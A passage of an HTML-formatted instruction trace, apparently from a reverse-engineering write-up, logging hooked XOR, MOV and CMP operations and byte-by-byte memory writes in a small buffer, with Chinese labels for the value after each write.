class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x61</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001427: mov esi, <span class="number">0</span>x20</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001443: cmp esi, <span class="number">0</span>x41</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100143d]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x10</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000a7f: mov esi, <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000a99: cmp esi, <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span 